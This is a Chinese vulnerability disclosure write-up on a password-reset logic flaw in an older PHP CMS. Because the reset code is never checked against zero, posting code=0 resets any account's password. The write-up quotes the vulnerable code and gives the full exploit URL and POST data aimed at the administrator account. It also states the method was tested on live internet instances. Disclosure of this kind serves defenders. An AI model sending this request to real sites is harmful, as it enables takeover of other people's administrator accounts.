影响版本14年4月18号更新的2.3.0及以前的版本。最新版不存在这个问题。
乌云爆过一个http://www.wooyun.org/bugs/wooyun-2014-060197 利用暴力破解验证码的方式来重置密码,这里讨论的方式相对于暴力破解来说成本更低。
直接看代码验证验证码的逻辑:逻辑分析下载注释中。
case 2:
$uid = (int)$this->input->get('uid'); $code = (int)$this->input->post('code'); 从post获取验证码。 $data = $this->db ->where('uid', $uid) ->where('randcode', $code) 根据验证码和UID从数据库中查询数据。 ->select('salt,uid,username,email') ->limit(1) ->get('member') ->row_array(); if (!$data) { 如果查不到该验证码对应的数据,提示错误。 $this->member_msg(lang('m-000')); } $password1 = $this->input->post('password1'); $password2 = $this->input->post('password2'); if ($password1 != $password2) { $error = lang('m-019'); } elseif (!$password1) { $error = lang('m-018'); } else { // 修改密码 $this->db ->where('uid', $data['uid']) ->update('member', array( 成功修改密码之后,验证码randcode设置为0!!!!! 'randcode' => 0, 'password' => md5(md5($password1).$data['salt'].md5($password1)) )); if ($this->get_cache('MEMBER', 'setting', 'ucenter')) { uc_user_edit($data['username'], '', $password1, '', 1); } $this->member_msg(lang('m-052'), dr_url('login/index'), 1); } break; }}
这里一个逻辑问题就是,修改密码之后,验证码设置为零。去数据库中看了一下,这个字段的默认值是0,而判断验证码之前没有对验证码是否是0进行判断。导致使用0作为验证码可以直接修改任意账号的密码。这种方式在黑盒的任意密码重置案例中并没有见到过。
利用方式,直接post url:
http://www.xxxxxxx.com/member/index.php?c=login&m=find&step=2&uid=1
这里uid=1为管理员。 post 数据为code=0&password1=12345678&password2=12345678
在互联网实例中测试。